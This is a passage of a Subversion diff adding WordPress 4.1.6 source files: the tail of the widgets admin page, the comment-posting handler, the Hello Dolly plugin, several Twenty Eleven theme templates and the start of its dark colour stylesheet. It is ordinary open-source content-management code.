+			call_user_func_array( $control['callback'], $control['params'] );
+		ob_end_clean();
+
+		break;
+	}
+
+	$sidebars_widgets[$sidebar_id] = $sidebar;
+
+	// Remove old position.
+	if ( !isset($_POST['delete_widget']) ) {
+		foreach ( $sidebars_widgets as $key => $sb ) {
+			if ( is_array($sb) )
+				$sidebars_widgets[$key] = array_diff( $sb, array($widget_id) );
+		}
+		array_splice( $sidebars_widgets[$sidebar_id], $position, 0, $widget_id );
+	}
+
+	wp_set_sidebars_widgets($sidebars_widgets);
+	wp_redirect( admin_url('widgets.php?message=0') );
+	exit;
+}
+
+// Output the widget form without js
+if ( isset($_GET['editwidget']) && $_GET['editwidget'] ) {
+	$widget_id = $_GET['editwidget'];
+
+	if ( isset($_GET['addnew']) ) {
+		// Default to the first sidebar
+		$keys = array_keys( $wp_registered_sidebars );
+		$sidebar = array_shift( $keys );
+
+		if ( isset($_GET['base']) && isset($_GET['num']) ) { // multi-widget
+			// Copy minimal info from an existing instance of this widget to a new instance
+			foreach ( $wp_registered_widget_controls as $control ) {
+				if ( $_GET['base'] === $control['id_base'] ) {
+					$control_callback = $control['callback'];
+					$multi_number = (int) $_GET['num'];
+					$control['params'][0]['number'] = -1;
+					$widget_id = $control['id'] = $control['id_base'] . '-' . $multi_number;
+					$wp_registered_widget_controls[$control['id']] = $control;
+					break;
+				}
+			}
+		}
+	}
+
+	if ( isset($wp_registered_widget_controls[$widget_id]) && !isset($control) ) {
+		$control = $wp_registered_widget_controls[$widget_id];
+		$control_callback = $control['callback'];
+	} elseif ( !isset($wp_registered_widget_controls[$widget_id]) && isset($wp_registered_widgets[$widget_id]) ) {
+		$name = esc_html( strip_tags($wp_registered_widgets[$widget_id]['name']) );
+	}
+
+	if ( !isset($name) )
+		$name = esc_html( strip_tags($control['name']) );
+
+	if ( !isset($sidebar) )
+		$sidebar = isset($_GET['sidebar']) ? $_GET['sidebar'] : 'wp_inactive_widgets';
+
+	if ( !isset($multi_number) )
+		$multi_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $control['id'];
+
+	// Show the widget form.
+	$width = ' style="width:' . max($control['width'], 350) . 'px"';
+	$key = isset($_GET['key']) ? (int) $_GET['key'] : 0;
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+	<div class="wrap">
+	<h2><?php echo esc_html( $title ); ?></h2>
+	<div class="editwidget"<?php echo $width; ?>>
+	<h3><?php printf( __( 'Widget %s' ), $name ); ?></h3>
+
+	<form action="widgets.php" method="post">
+	<div class="widget-inside">
+<?php
+	if ( is_callable( $control_callback ) )
+		call_user_func_array( $control_callback, $control['params'] );
+	else
+		echo '<p>' . __('There are no options for this widget.') . "</p>\n"; ?>
+	</div>
+
+	<p class="describe"><?php _e('Select both the sidebar for this widget and the position of the widget in that sidebar.'); ?></p>
+	<div class="widget-position">
+	<table class="widefat"><thead><tr><th><?php _e('Sidebar'); ?></th><th><?php _e('Position'); ?></th></tr></thead><tbody>
+<?php
+	foreach ( $wp_registered_sidebars as $sbname => $sbvalue ) {
+		echo "\t\t<tr><td><label><input type='radio' name='sidebar' value='" . esc_attr($sbname) . "'" . checked( $sbname, $sidebar, false ) . " /> $sbvalue[name]</label></td><td>";
+		if ( 'wp_inactive_widgets' == $sbname || 'orphaned_widgets' == substr( $sbname, 0, 16 ) ) {
+			echo '&nbsp;';
+		} else {
+			if ( !isset($sidebars_widgets[$sbname]) || !is_array($sidebars_widgets[$sbname]) ) {
+				$j = 1;
+				$sidebars_widgets[$sbname] = array();
+			} else {
+				$j = count($sidebars_widgets[$sbname]);
+				if ( isset($_GET['addnew']) || !in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$j++;
+			}
+			$selected = '';
+			echo "\t\t<select name='{$sbname}_position'>\n";
+			echo "\t\t<option value=''>" . __('&mdash; Select &mdash;') . "</option>\n";
+			for ( $i = 1; $i <= $j; $i++ ) {
+				if ( in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$selected = selected( $i, $key + 1, false );
+				echo "\t\t<option value='$i'$selected> $i </option>\n";
+			}
+			echo "\t\t</select>\n";
+		}
+		echo "</td></tr>\n";
+	} ?>
+	</tbody></table>
+	</div>
+
+	<div class="widget-control-actions">
+<?php
+	if ( isset($_GET['addnew']) ) { ?>
+	<a href="widgets.php" class="button alignleft"><?php _e('Cancel'); ?></a>
+<?php
+	} else {
+		submit_button( __( 'Delete' ), 'button alignleft', 'removewidget', false );
+	}
+	submit_button( __( 'Save Widget' ), 'button-primary alignright', 'savewidget', false ); ?>
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($widget_id); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+<?php	wp_nonce_field("save-delete-widget-$widget_id"); ?>
+	<br class="clear" />
+	</div>
+	</form>
+	</div>
+	</div>
+<?php
+	require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+$messages = array(
+	__('Changes saved.')
+);
+
+$errors = array(
+	__('Error while saving.'),
+	__('Error in displaying the widget settings form.')
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h2>
+<?php
+	echo esc_html( $title );
+	if ( current_user_can( 'customize' ) ) {
+		printf(
+			' <a class="add-new-h2 hide-if-no-customize" href="%1$s">%2$s</a>',
+			admin_url( 'customize.php?autofocus[panel]=widgets' ),
+			__( 'Manage in Customizer' )
+		);
+	}
+?>
+</h2>
+
+<?php if ( isset($_GET['message']) && isset($messages[$_GET['message']]) ) { ?>
+<div id="message" class="updated"><p><?php echo $messages[$_GET['message']]; ?></p></div>
+<?php } ?>
+<?php if ( isset($_GET['error']) && isset($errors[$_GET['error']]) ) { ?>
+<div id="message" class="error"><p><?php echo $errors[$_GET['error']]; ?></p></div>
+<?php } ?>
+
+<?php
+/**
+ * Fires before the Widgets administration page content loads.
+ *
+ * @since 3.0.0
+ */
+do_action( 'widgets_admin_page' ); ?>
+
+<div class="widget-liquid-left">
+<div id="widgets-left">
+	<div id="available-widgets" class="widgets-holder-wrap">
+		<div class="sidebar-name">
+			<div class="sidebar-name-arrow"><br /></div>
+			<h3><?php _e('Available Widgets'); ?> <span id="removing-widget"><?php _ex('Deactivate', 'removing-widget'); ?> <span></span></span></h3>
+		</div>
+		<div class="widget-holder">
+			<div class="sidebar-description">
+				<p class="description"><?php _e('To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back.'); ?></p>
+			</div>
+			<div id="widget-list">
+				<?php wp_list_widgets(); ?>
+			</div>
+			<br class='clear' />
+		</div>
+		<br class="clear" />
+	</div>
+
+<?php
+
+$theme_sidebars = array();
+foreach ( $wp_registered_sidebars as $sidebar => $registered_sidebar ) {
+	if ( false !== strpos( $registered_sidebar['class'], 'inactive-sidebar' ) || 'orphaned_widgets' == substr( $sidebar, 0, 16 ) ) {
+		$wrap_class = 'widgets-holder-wrap';
+		if ( !empty( $registered_sidebar['class'] ) )
+			$wrap_class .= ' ' . $registered_sidebar['class'];
+
+		?>
+		<div class="<?php echo esc_attr( $wrap_class ); ?>">
+			<div class="widget-holder inactive">
+				<?php wp_list_widget_controls( $registered_sidebar['id'], $registered_sidebar['name'] ); ?>
+				<div class="clear"></div>
+			</div>
+		</div>
+		<?php
+
+	} else {
+		$theme_sidebars[$sidebar] = $registered_sidebar;
+	}
+}
+
+?>
+</div>
+</div>
+<?php
+
+$i = $split = 0;
+$single_sidebar_class = '';
+$sidebars_count = count( $theme_sidebars );
+
+if ( $sidebars_count > 1 ) {
+	$split = ceil( $sidebars_count / 2 );
+} else {
+	$single_sidebar_class = ' class="single-sidebar"';
+}
+
+?>
+<div class="widget-liquid-right">
+<div id="widgets-right"<?php echo $single_sidebar_class; ?>>
+<div class="sidebars-column-1">
+<?php
+
+foreach ( $theme_sidebars as $sidebar => $registered_sidebar ) {
+	$wrap_class = 'widgets-holder-wrap';
+	if ( !empty( $registered_sidebar['class'] ) )
+		$wrap_class .= ' sidebar-' . $registered_sidebar['class'];
+
+	if ( $i > 0 )
+		$wrap_class .= ' closed';
+
+	if ( $split && $i == $split ) {
+		?>
+		</div><div class="sidebars-column-2">
+		<?php
+	}
+
+	?>
+	<div class="<?php echo esc_attr( $wrap_class ); ?>">
+		<?php wp_list_widget_controls( $sidebar, $registered_sidebar['name'] ); // Show the control forms for each of the widgets in this sidebar ?>
+	</div>
+	<?php
+
+	$i++;
+}
+
+?>
+</div>
+</div>
+</div>
+<form action="" method="post">
+<?php wp_nonce_field( 'save-sidebar-widgets', '_wpnonce_widgets', false ); ?>
+</form>
+<br class="clear" />
+</div>
+
+<div class="widgets-chooser">
+	<ul class="widgets-chooser-sidebars"></ul>
+	<div class="widgets-chooser-actions">
+		<button class="button-secondary"><?php _e( 'Cancel' ); ?></button>
+		<button class="button-primary"><?php _e( 'Add Widget' ); ?></button>
+	</div>
+</div>
+
+<?php
+
+/**
+ * Fires after the available widgets and sidebars have loaded, before the admin footer.
+ *
+ * @since 2.2.0
+ */
+do_action( 'sidebar_admin_page' );
+require_once( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-blog-header.php
===================================================================
--- /tags/4.1.6/src/wp-blog-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-blog-header.php	(revision 33402)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * Loads the WordPress environment and template.
+ *
+ * @package WordPress
+ */
+
+if ( !isset($wp_did_header) ) {
+
+	$wp_did_header = true;
+
+	require_once( dirname(__FILE__) . '/wp-load.php' );
+
+	wp();
+
+	require_once( ABSPATH . WPINC . '/template-loader.php' );
+
+}
Index: /tags/4.1.6/src/wp-comments-post.php
===================================================================
--- /tags/4.1.6/src/wp-comments-post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-comments-post.php	(revision 33402)
@@ -0,0 +1,167 @@
+<?php
+/**
+ * Handles Comment Post to WordPress and prevents duplicate comment posting.
+ *
+ * @package WordPress
+ */
+
+if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
+	header('Allow: POST');
+	header('HTTP/1.1 405 Method Not Allowed');
+	header('Content-Type: text/plain');
+	exit;
+}
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+nocache_headers();
+
+$comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0;
+
+$post = get_post($comment_post_ID);
+
+if ( empty( $post->comment_status ) ) {
+	/**
+	 * Fires when a comment is attempted on a post that does not exist.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'comment_id_not_found', $comment_post_ID );
+	exit;
+}
+
+// get_post_status() will get the parent status for attachments.
+$status = get_post_status($post);
+
+$status_obj = get_post_status_object($status);
+
+if ( ! comments_open( $comment_post_ID ) ) {
+	/**
+	 * Fires when a comment is attempted on a post that has comments closed.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'comment_closed', $comment_post_ID );
+	wp_die( __( 'Sorry, comments are closed for this item.' ), 403 );
+} elseif ( 'trash' == $status ) {
+	/**
+	 * Fires when a comment is attempted on a trashed post.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'comment_on_trash', $comment_post_ID );
+	exit;
+} elseif ( ! $status_obj->public && ! $status_obj->private ) {
+	/**
+	 * Fires when a comment is attempted on a post in draft mode.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'comment_on_draft', $comment_post_ID );
+	exit;
+} elseif ( post_password_required( $comment_post_ID ) ) {
+	/**
+	 * Fires when a comment is attempted on a password-protected post.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'comment_on_password_protected', $comment_post_ID );
+	exit;
+} else {
+	/**
+	 * Fires before a comment is posted.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $comment_post_ID Post ID.
+	 */
+	do_action( 'pre_comment_on_post', $comment_post_ID );
+}
+
+$comment_author       = ( isset($_POST['author']) )  ? trim(strip_tags($_POST['author'])) : null;
+$comment_author_email = ( isset($_POST['email']) )   ? trim($_POST['email']) : null;
+$comment_author_url   = ( isset($_POST['url']) )     ? trim($_POST['url']) : null;
+$comment_content      = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null;
+
+// If the user is logged in
+$user = wp_get_current_user();
+if ( $user->exists() ) {
+	if ( empty( $user->display_name ) )
+		$user->display_name=$user->user_login;
+	$comment_author       = wp_slash( $user->display_name );
+	$comment_author_email = wp_slash( $user->user_email );
+	$comment_author_url   = wp_slash( $user->user_url );
+	if ( current_user_can( 'unfiltered_html' ) ) {
+		if ( ! isset( $_POST['_wp_unfiltered_html_comment'] )
+			|| ! wp_verify_nonce( $_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_ID )
+		) {
+			kses_remove_filters(); // start with a clean slate
+			kses_init_filters(); // set up the filters
+		}
+	}
+} else {
+	if ( get_option( 'comment_registration' ) || 'private' == $status ) {
+		wp_die( __( 'Sorry, you must be logged in to post a comment.' ), 403 );
+	}
+}
+
+$comment_type = '';
+
+if ( get_option('require_name_email') && !$user->exists() ) {
+	if ( 6 > strlen( $comment_author_email ) || '' == $comment_author ) {
+		wp_die( __( '<strong>ERROR</strong>: please fill the required fields (name, email).' ), 200 );
+	} else if ( ! is_email( $comment_author_email ) ) {
+		wp_die( __( '<strong>ERROR</strong>: please enter a valid email address.' ), 200 );
+	}
+}
+
+if ( '' == $comment_content ) {
+	wp_die( __( '<strong>ERROR</strong>: please type a comment.' ), 200 );
+}
+
+$comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0;
+
+$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
+
+$comment_id = wp_new_comment( $commentdata );
+if ( ! $comment_id ) {
+	wp_die( __( "<strong>ERROR</strong>: The comment could not be saved. Please try again later." ) );
+}
+
+$comment = get_comment( $comment_id );
+
+/**
+ * Perform other actions when comment cookies are set.
+ *
+ * @since 3.4.0
+ *
+ * @param object $comment Comment object.
+ * @param WP_User $user   User object. The user may not exist.
+ */
+do_action( 'set_comment_cookies', $comment, $user );
+
+$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id;
+
+/**
+ * Filter the location URI to send the commenter after posting.
+ *
+ * @since 2.0.5
+ *
+ * @param string $location The 'redirect_to' URI sent via $_POST.
+ * @param object $comment  Comment object.
+ */
+$location = apply_filters( 'comment_post_redirect', $location, $comment );
+
+wp_safe_redirect( $location );
+exit;
Index: /tags/4.1.6/src/wp-content/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/index.php	(revision 33402)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/4.1.6/src/wp-content/plugins/hello.php
===================================================================
--- /tags/4.1.6/src/wp-content/plugins/hello.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/plugins/hello.php	(revision 33402)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * @package Hello_Dolly
+ * @version 1.6
+ */
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/plugins/hello-dolly/
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.6
+Author URI: http://ma.tt/
+*/
+
+function hello_dolly_get_lyric() {
+	/** These are the lyrics to Hello Dolly */
+	$lyrics = "Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+We feel the room swayin'
+While the band's playin'
+One of your old favourite songs from way back when
+So, take her wrap, fellas
+Find her an empty lap, fellas
+Dolly'll never go away again
+Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+We feel the room swayin'
+While the band's playin'
+One of your old favourite songs from way back when
+Golly, gee, fellas
+Find her a vacant knee, fellas
+Dolly'll never go away
+Dolly'll never go away
+Dolly'll never go away again";
+
+	// Here we split it into lines
+	$lyrics = explode( "\n", $lyrics );
+
+	// And then randomly choose a line
+	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
+}
+
+// This just echoes the chosen line, we'll position it later
+function hello_dolly() {
+	$chosen = hello_dolly_get_lyric();
+	echo "<p id='dolly'>$chosen</p>";
+}
+
+// Now we set that function up to execute when the admin_notices action is called
+add_action( 'admin_notices', 'hello_dolly' );
+
+// We need some CSS to position the paragraph
+function dolly_css() {
+	// This makes sure that the positioning is also good for right-to-left languages
+	$x = is_rtl() ? 'left' : 'right';
+
+	echo "
+	<style type='text/css'>
+	#dolly {
+		float: $x;
+		padding-$x: 15px;
+		padding-top: 5px;		
+		margin: 0;
+		font-size: 11px;
+	}
+	</style>
+	";
+}
+
+add_action( 'admin_head', 'dolly_css' );
+
+?>
Index: /tags/4.1.6/src/wp-content/plugins/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/plugins/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/plugins/index.php	(revision 33402)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/4.1.6/src/wp-content/themes/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/index.php	(revision 33402)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/404.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/404.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/404.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary">
+		<div id="content" role="main">
+
+			<article id="post-0" class="post error404 not-found">
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentyeleven' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help.', 'twentyeleven' ); ?></p>
+
+					<?php get_search_form(); ?>
+
+					<?php the_widget( 'WP_Widget_Recent_Posts', array( 'number' => 10 ), array( 'widget_id' => '404' ) ); ?>
+
+					<div class="widget">
+						<h2 class="widgettitle"><?php _e( 'Most Used Categories', 'twentyeleven' ); ?></h2>
+						<ul>
+						<?php wp_list_categories( array( 'orderby' => 'count', 'order' => 'DESC', 'show_count' => 1, 'title_li' => '', 'number' => 10 ) ); ?>
+						</ul>
+					</div>
+
+					<?php
+					/* translators: %1$s: smilie */
+					$archive_content = '<p>' . sprintf( __( 'Try looking in the monthly archives. %1$s', 'twentyeleven' ), convert_smilies( ':)' ) ) . '</p>';
+					the_widget( 'WP_Widget_Archives', array('count' => 0 , 'dropdown' => 1 ), array( 'after_title' => '</h2>'.$archive_content ) );
+					?>
+
+					<?php the_widget( 'WP_Widget_Tag_Cloud' ); ?>
+
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/archive.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/archive.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/archive.php	(revision 33402)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title">
+						<?php if ( is_day() ) : ?>
+							<?php printf( __( 'Daily Archives: %s', 'twentyeleven' ), '<span>' . get_the_date() . '</span>' ); ?>
+						<?php elseif ( is_month() ) : ?>
+							<?php printf( __( 'Monthly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyeleven' ) ) . '</span>' ); ?>
+						<?php elseif ( is_year() ) : ?>
+							<?php printf( __( 'Yearly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentyeleven' ) ) . '</span>' ); ?>
+						<?php else : ?>
+							<?php _e( 'Blog Archives', 'twentyeleven' ); ?>
+						<?php endif; ?>
+					</h1>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/* Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/author.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/author.php	(revision 33402)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * Template for displaying Author Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<?php
+					/*
+					 * Queue the first post, that way we know what author
+					 * we're dealing with (if that is the case).
+					 *
+					 * We reset this later so we can run the loop properly
+					 * with a call to rewind_posts().
+					 */
+					the_post();
+				?>
+
+				<header class="page-header">
+					<h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyeleven' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( "ID" ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+				</header>
+
+				<?php
+					/*
+					 * Since we called the_post() above, we need to
+					 * rewind the loop back to the beginning that way
+					 * we can run the loop properly, in full.
+					 */
+					rewind_posts();
+				?>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php
+				// If a user has filled out their description, show a bio on their entries.
+				if ( get_the_author_meta( 'description' ) ) : ?>
+				<div id="author-info">
+					<div id="author-avatar">
+						<?php
+						/**
+						 * Filter the Twenty Eleven author bio avatar size.
+						 *
+						 * @since Twenty Eleven 1.0
+						 *
+						 * @param int The height and width avatar dimension in pixels. Default 60.
+						 */
+						echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 60 ) );
+						?>
+					</div><!-- #author-avatar -->
+					<div id="author-description">
+						<h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2>
+						<?php the_author_meta( 'description' ); ?>
+					</div><!-- #author-description	-->
+				</div><!-- #author-info -->
+				<?php endif; ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/category.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/category.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Template for displaying Category Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title"><?php
+						printf( __( 'Category Archives: %s', 'twentyeleven' ), '<span>' . single_cat_title( '', false ) . '</span>' );
+					?></h1>
+
+					<?php
+						$category_description = category_description();
+						if ( ! empty( $category_description ) ) {
+							/**
+							 * Filter the default Twenty Eleven category description.
+							 *
+							 * @since Twenty Eleven 1.0
+							 *
+							 * @param string The default category description HTML.
+							 */
+							echo apply_filters( 'category_archive_meta', '<div class="category-archive-meta">' . $category_description . '</div>' );
+						}
+					?>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/colors/dark.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/colors/dark.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/colors/dark.css	(revision 33402)
@@ -0,0 +1,623 @@
+/*
+	A dark color scheme for Twenty Eleven
+*/
+
+/* =Global
+----------------------------------------------- */
+
+body {
+	background: #1d1d1d;
+	color: #bbb;
+}
+#page {
+	background: #0f0f0f;
+}
+
+/* Headings */
+hr {
+	background-color: #333;
+}
+
+/* Text elements */
+blockquote cite {
+	color: #999;
+}
+pre {
+	background: #0b0b0b;
+}
+code, kbd {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #999;
+}
+ins {
+	background: #00063f;
+}
+input[type=text],
+input[type=password],
+input[type=email],
+input[type=url],
+input[type=number],
+textarea {
+	border: 1px solid #222;
+}
+input#s {
+	background-color: #ddd;
+}
+
+/* Links */
+a {
+}
+
+
+/* =Header
+----------------------------------------------- */
+
+#branding {
+	border-top: 2px solid #0a0a0a;
+}
+#site-title a {
+	color: #eee;
+}
+#site-title a:hover,
+#site-title a:focus,
+#site-title a:active {
+}
+#site-description {
+	color: #858585;
+}
+#branding #s {
+	background-color: #ddd;
+}
+
+
+/* =Menu
+----------------------------------------------- */
+
+#access {
+	background: #333; /* Show a solid color for older browsers */
+	background: -moz-linear-gradient(#383838, #272727);
+	background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#383838), to(#272727)); /* older webkit syntax */
+	background: -webkit-linear-gradient(#383838, #272727);
+	border-bottom: 1px solid #222;
+}
+
+/* =Content
+----------------------------------------------- */
+
